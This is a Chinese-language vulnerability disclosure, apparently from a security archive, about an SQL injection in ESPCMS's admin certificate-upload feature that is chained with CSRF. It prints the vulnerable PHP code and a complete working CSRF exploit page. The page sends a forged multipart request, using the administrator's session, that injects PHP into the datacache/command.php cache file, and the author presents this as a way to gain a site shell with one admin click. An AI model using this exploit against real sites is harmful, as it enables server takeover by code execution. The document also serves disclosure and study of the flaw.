### 简要描述:
这两天再写csrf的一些东西,所以拿了ESPCMS做了一个演示,这里只是其中一个意外发现,后续还有csrf更狠的地方,总之一句话漏洞利用是一门艺术,我会提供一个csrf另外一种思路去让管理员只交互一次,然后轻松拿下站点shell,就我分析应该各大cms,都可以按照这个思路去做!!!
### 详细说明:
好了 废话不多说了 首先我们安装完毕espcms 然后登录到后台
[<img src="https://images.seebug.org/upload/201408/09111129fa43f6cf88d487ae0b035a081aa5fa60.png" alt="1.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201408/09111129fa43f6cf88d487ae0b035a081aa5fa60.png)
问题就出在了,上传证书这一块,直接看代码,
adminsoft/control/management.php:(lines:802-815)
```
if (!file_exists($filetmpname)) {
$isupfiletrue = 'false';
}
$datacontent = file_get_contents($filetmpname);
if (empty($datacontent)) {
$isupfiletrue = 'false';
}
if ($isupfiletrue != 'false') {
$db_table = db_prefix . 'config';
$db_where = "valname='cer_key'";
$db_set = "value='$datacontent'";
$this->db->query('UPDATE ' . $db_table . ' SET ' . $db_set . ' WHERE ' . $db_where);
$db_where = "valname='cer_file'";
$db_set = "value='111111'";
$this->db->query('UPDATE ' . $db_table . ' SET ' . $db_set . ' WHERE ' . $db_where);
$this->systemfile(true);
$this->calldialogmessage($this->lng['management_upfile_text_ok_js'], $this->lng['management_upfile_text_exit_bottonok'], '', 0, 1, 'locationout');
}
$this->ectemplates->assign('digheight', $digheight);
$this->ectemplates->assign('isupfiletrue', $isupfiletrue);
$this->ectemplates->display('admin/admin_upfile');
```
这里直接读进来文件,然后进行sql操作,产生了注入点,并且内容完全可控
经过测试这个上传文件的过程存在csrf,这里就不多做演示了
下来我们来分析一下,惊奇的发现datacache/command.php 这个东西就是缓存配置的,我们只一个点
[<img src="https://images.seebug.org/upload/201408/09112036c01f7ebe398d5d8e783f8e2e9f90642c.png" alt="2.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201408/09112036c01f7ebe398d5d8e783f8e2e9f90642c.png)
构造csrf表单:
```
<html>
<body>
<script>
function csrf_sql(){
var xhr = new XMLHttpRequest();
xhr.open("POST", "http://192.168.47.131/ESPCMSV6000140708_INSTALLhttps://images.seebug.org/upload/adminsoft/index.php", true);
xhr.setRequestHeader("Content-Type", "multipart/form-data; boundary=---------------------------277302291911927");
xhr.withCredentials = "true";
var sql = "10);\r\n phpinfo();\r\n$a=array(123456=>1' WHERE valname='order_integral'-- ";
var body='-----------------------------277302291911927\r\nContent-Disposition: form-data; name="point"\r\n\r\nadmin\r\n-----------------------------277302291911927\r\nContent-Disposition: form-data; name="archive"\r\n\r\nmanagement\r\n-----------------------------277302291911927\r\nContent-Disposition: form-data; name="action"\r\n\r\ncerfilecheck\r\n-----------------------------277302291911927\r\nContent-Disposition: form-data; name="digheight"\r\n\r\n250\r\n-----------------------------277302291911927\r\nContent-Disposition: form-data; name="cerupfilepath"; filename="she.jpg"\r\nContent-Type: image/jpeg\r\n\r\n'+sql+'\r\n-----------------------------277302291911927\r\nContent-Disposition: form-data; name="Submit"\r\n\r\nå¼\x80å§\x8béª\x8cè¯\x81\r\n-----------------------------277302291911927--\r\n';
var aBody = new Uint8Array(body.length);
for (var i = 0; i < aBody.length; i++)
aBody[i] = body.charCodeAt(i);
xhr.send(new Blob([aBody]));
}
csrf_sql();
</script>
</body>
</html>
```
这个表单构造好了,发包前这个文件是这样的:
[<img src="https://images.seebug.org/upload/201408/0911350690b8bec2fed37a09e856caceaee9f4e4.png" alt="3.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201408/0911350690b8bec2fed37a09e856caceaee9f4e4.png)
发送请求后的此文件为:
[<img src="https://images.seebug.org/upload/201408/09113558af5a9e648208dd14f8d92144b37de224.png" alt="4.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201408/09113558af5a9e648208dd14f8d92144b37de224.png)
然后我们访问一下文件看一下,是否执行了:
[<img src="https://images.seebug.org/upload/201408/09113638008e776eed78b01e84492f2073f254fc.png" alt="5.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201408/09113638008e776eed78b01e84492f2073f254fc.png)
### 漏洞证明:
暂无评论